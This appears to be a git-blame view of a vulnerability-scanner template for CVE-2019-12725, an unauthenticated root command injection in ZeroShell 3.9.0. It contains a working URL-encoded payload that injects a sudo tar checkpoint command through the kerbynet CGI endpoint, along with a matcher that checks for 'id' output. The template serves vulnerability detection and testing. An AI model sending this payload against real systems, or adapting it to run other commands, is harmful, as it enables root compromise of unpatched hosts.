2021-01-02 04:59:06 +00:00
|
|
|
id: CVE-2019-12725
|
2020-11-26 04:24:02 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Zeroshell 3.9.0 Remote Command Execution
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2020-11-26 09:12:15 +00:00
|
|
|
This template exploits an unauthenticated command injection vulnerability
|
|
|
|
found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
|
2020-11-26 04:24:02 +00:00
|
|
|
As sudo is configured to execute /bin/tar without a password (NOPASSWD)
|
|
|
|
it is possible to run root commands using the "checkpoint" tar options.
|
2021-08-18 11:29:20 +00:00
|
|
|
reference: |
|
2020-11-26 19:49:35 +00:00
|
|
|
- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
|
|
|
|
- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
|
2021-02-05 19:44:41 +00:00
|
|
|
tags: cve,cve2019,rce
|
2020-11-26 04:24:02 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2020-11-26 19:46:49 +00:00
|
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|